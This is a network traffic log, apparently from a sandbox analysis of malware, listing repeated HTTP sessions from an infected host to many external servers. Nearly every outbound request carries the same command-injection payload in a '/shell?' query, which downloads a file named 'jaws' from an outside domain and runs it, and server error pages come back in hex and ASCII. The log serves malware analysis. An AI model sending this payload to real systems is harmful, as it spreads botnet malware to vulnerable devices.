3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixe
Apr 14, 2024 04:00:52.143379927 CEST	456	IN	Data Raw: 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f Data Ascii: l-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.co

Session ID	Source IP	Source Port	Destination IP	Destination Port
1410	192.168.2.23	47664	13.125.249.145	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.752342939 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1411	192.168.2.23	50230	194.55.43.171	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.762451887 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1412	192.168.2.23	38990	52.187.241.95	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.782931089 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.107080936 CEST	494	IN	HTTP/1.1 503 Service Unavailable Content-Type: text/html; charset=us-ascii Date: Sun, 14 Apr 2024 02:00:51 GMT Connection: close Content-Length: 326 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 53 65 72 76 69 63 65 20 55 6e 61 76 61 69 6c 61 62 6c 65 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 35 30 33 2e 20 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Service Unavailable</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Service Unavailable</h2><hr><p>HTTP Error 503. The service is unavailable.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1413	192.168.2.23	49902	124.237.176.171	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:51.787544966 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.126235962 CEST	554	IN	HTTP/1.1 404 Not Found Connection: keep-alive Content-Type: text/html Date: Sun, 14 Apr 2024 02:00:51 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.8.0 Set-Cookie: BAIDUID=AADFDF8CFE2064E3EB010A9EC378A07C:FG=1; expires=Mon, 14-Apr-25 02:00:51 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Tracecode: 00519657322520757770041410 Content-Length: 168 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.0</center></body></html>
Apr 14, 2024 04:00:52.338355064 CEST	554	IN	HTTP/1.1 404 Not Found Connection: keep-alive Content-Type: text/html Date: Sun, 14 Apr 2024 02:00:51 GMT P3p: CP=" OTI DSP COR IVA OUR IND COM " Server: nginx/1.8.0 Set-Cookie: BAIDUID=AADFDF8CFE2064E3EB010A9EC378A07C:FG=1; expires=Mon, 14-Apr-25 02:00:51 GMT; max-age=31536000; path=/; domain=.baidu.com; version=1 Tracecode: 00519657322520757770041410 Content-Length: 168 Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 38 2e 30 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.8.0</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1414	192.168.2.23	59934	203.138.27.91	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.030777931 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.320252895 CEST	271	IN	HTTP/1.1 403 Forbidden Date: Sun, 14 Apr 2024 02:00:52 GMT Server: Apache Content-Length: 59 Keep-Alive: timeout=3, max=100 Connection: Keep-Alive Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e Data Ascii: <h1>Forbidden</h1>You don't have permission on this server.

Session ID	Source IP	Source Port	Destination IP	Destination Port
1415	192.168.2.23	49576	142.251.170.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.037693977 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.434827089 CEST	1289	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=UTF-8 Referrer-Policy: no-referrer Content-Length: 1566 Date: Sun, 14 Apr 2024 02:00:52 GMT Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 20 30 25 20 30 25 2f 31 30 30 25 20 31 30 30 25 3b 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 69 6d 61 67 65 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 30 7d 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 77 65 62 6b 69 74 2d 6d 69 6e 2d 64 65 76 69 63 65 2d 70 69 78 65 Data Ascii: <!DOCTYPE html><html lang=en> <meta charset=utf-8> <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"> <title>Error 404 (Not Found)!!1</title> <style> {margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{margin:7% auto 0;max-width:390px;min-height:180px;padding:30px 0 15px} > body{background:url(//www.google.com/images/errors/robot.png) 100% 5px no-repeat;padding-right:205px}p{margin:11px 0 22px;overflow:hidden}ins{color:#777;text-decoration:none}a img{border:0}@media screen and (max-width:772px){body{background:none;margin-top:0;max-width:none;padding-right:0}}#logo{background:url(//www.google.com/images/branding/googlelogo/1x/googlelogo_color_150x54dp.png) no-repeat;margin-left:-5px}@media only screen and (min-resolution:192dpi){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat 0% 0%/100% 100%;-moz-border-image:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) 0}}@media only screen and (-webkit-min-device-pixe
Apr 14, 2024 04:00:52.434864998 CEST	456	IN	Data Raw: 6c 2d 72 61 74 69 6f 3a 32 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f Data Ascii: l-ratio:2){#logo{background:url(//www.google.com/images/branding/googlelogo/2x/googlelogo_color_150x54dp.png) no-repeat;-webkit-background-size:100% 100%}}#logo{display:inline-block;height:54px;width:150px} </style> <a href=//www.google.co

Session ID	Source IP	Source Port	Destination IP	Destination Port
1416	192.168.2.23	38270	107.178.133.241	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.480101109 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.380439997 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.436388969 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:56.644076109 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:00.995477915 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:09.442241907 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:01:27.103684902 CEST	239	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1417	192.168.2.23	53104	72.180.156.102	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.732049942 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:52.972017050 CEST	150	IN	HTTP/1.1 404 Not Found CONNECTION: close CONTENT-LENGTH: 48 CONTENT-TYPE: text/html Data Raw: 3c 68 74 6d 6c 3e 3c 62 6f 64 79 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: <html><body><h1>404 Not Found</h1></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
1418	192.168.2.23	41512	190.85.40.106	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.765578985 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:53.053456068 CEST	786	IN	HTTP/1.1 302 Found Date: Sun, 14 Apr 2024 02:00:52 GMT Server: Location: https://127.0.0.1:443/shell?cd+/tmp%3brm+-rf+%3bwget+http://nextoneup.shop/jaws%3bsh+/tmp/jaws Keep-Alive: timeout=10, max=19 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html; charset=iso-8859-1 X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' X-XSS-Protection: 1; mode=block Strict-Transport-Security: max-age=15552000 X-UA-Compatible: IE=Edge Data Raw: 31 31 33 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 33 30 32 20 46 6f 75 6e 64 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 46 6f 75 6e 64 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 31 32 37 2e 30 2e 30 2e 31 3a 34 34 33 2f 73 68 65 6c 6c 3f 63 64 2b 2f 74 6d 70 25 33 62 72 6d 2b 2d 72 66 2b 2a 25 33 62 77 67 65 74 2b 68 74 74 70 3a 2f 2f 6e 65 78 74 6f 6e 65 75 70 2e 73 68 6f 70 2f 6a 61 77 73 25 33 62 73 68 2b 2f 74 6d 70 2f 6a 61 77 73 22 3e 68 65 72 65 3c 2f 41 3e 2e 3c 50 3e 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 113<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><HTML><HEAD><TITLE>302 Found</TITLE></HEAD><BODY><H1>Found</H1>The document has moved <A HREF="https://127.0.0.1:443/shell?cd+/tmp%3brm+-rf+%3bwget+http://nextoneup.shop/jaws%3bsh+/tmp/jaws">here</A>.<P></BODY></HTML>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1419	192.168.2.23	55878	35.176.20.105	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:52.802845955 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
1420	192.168.2.23	59020	121.40.236.55	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.444801092 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Apr 14, 2024 04:00:54.758667946 CEST	338	IN	HTTP/1.1 404 Not Found Server: nginx/1.17.4 Date: Sun, 14 Apr 2024 02:00:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Data Raw: 39 39 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 37 2e 34 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a Data Ascii: 99<html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.17.4</center></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1421	192.168.2.23	58534	211.75.245.173	80

Timestamp	Bytes transferred	Direction	Data
Apr 14, 2024 04:00:54.444904089 CEST	251	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+http://nextoneup.shop/jaws;sh+/tmp/jaws HTTP/1.1 User-Agent: Hello, world Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
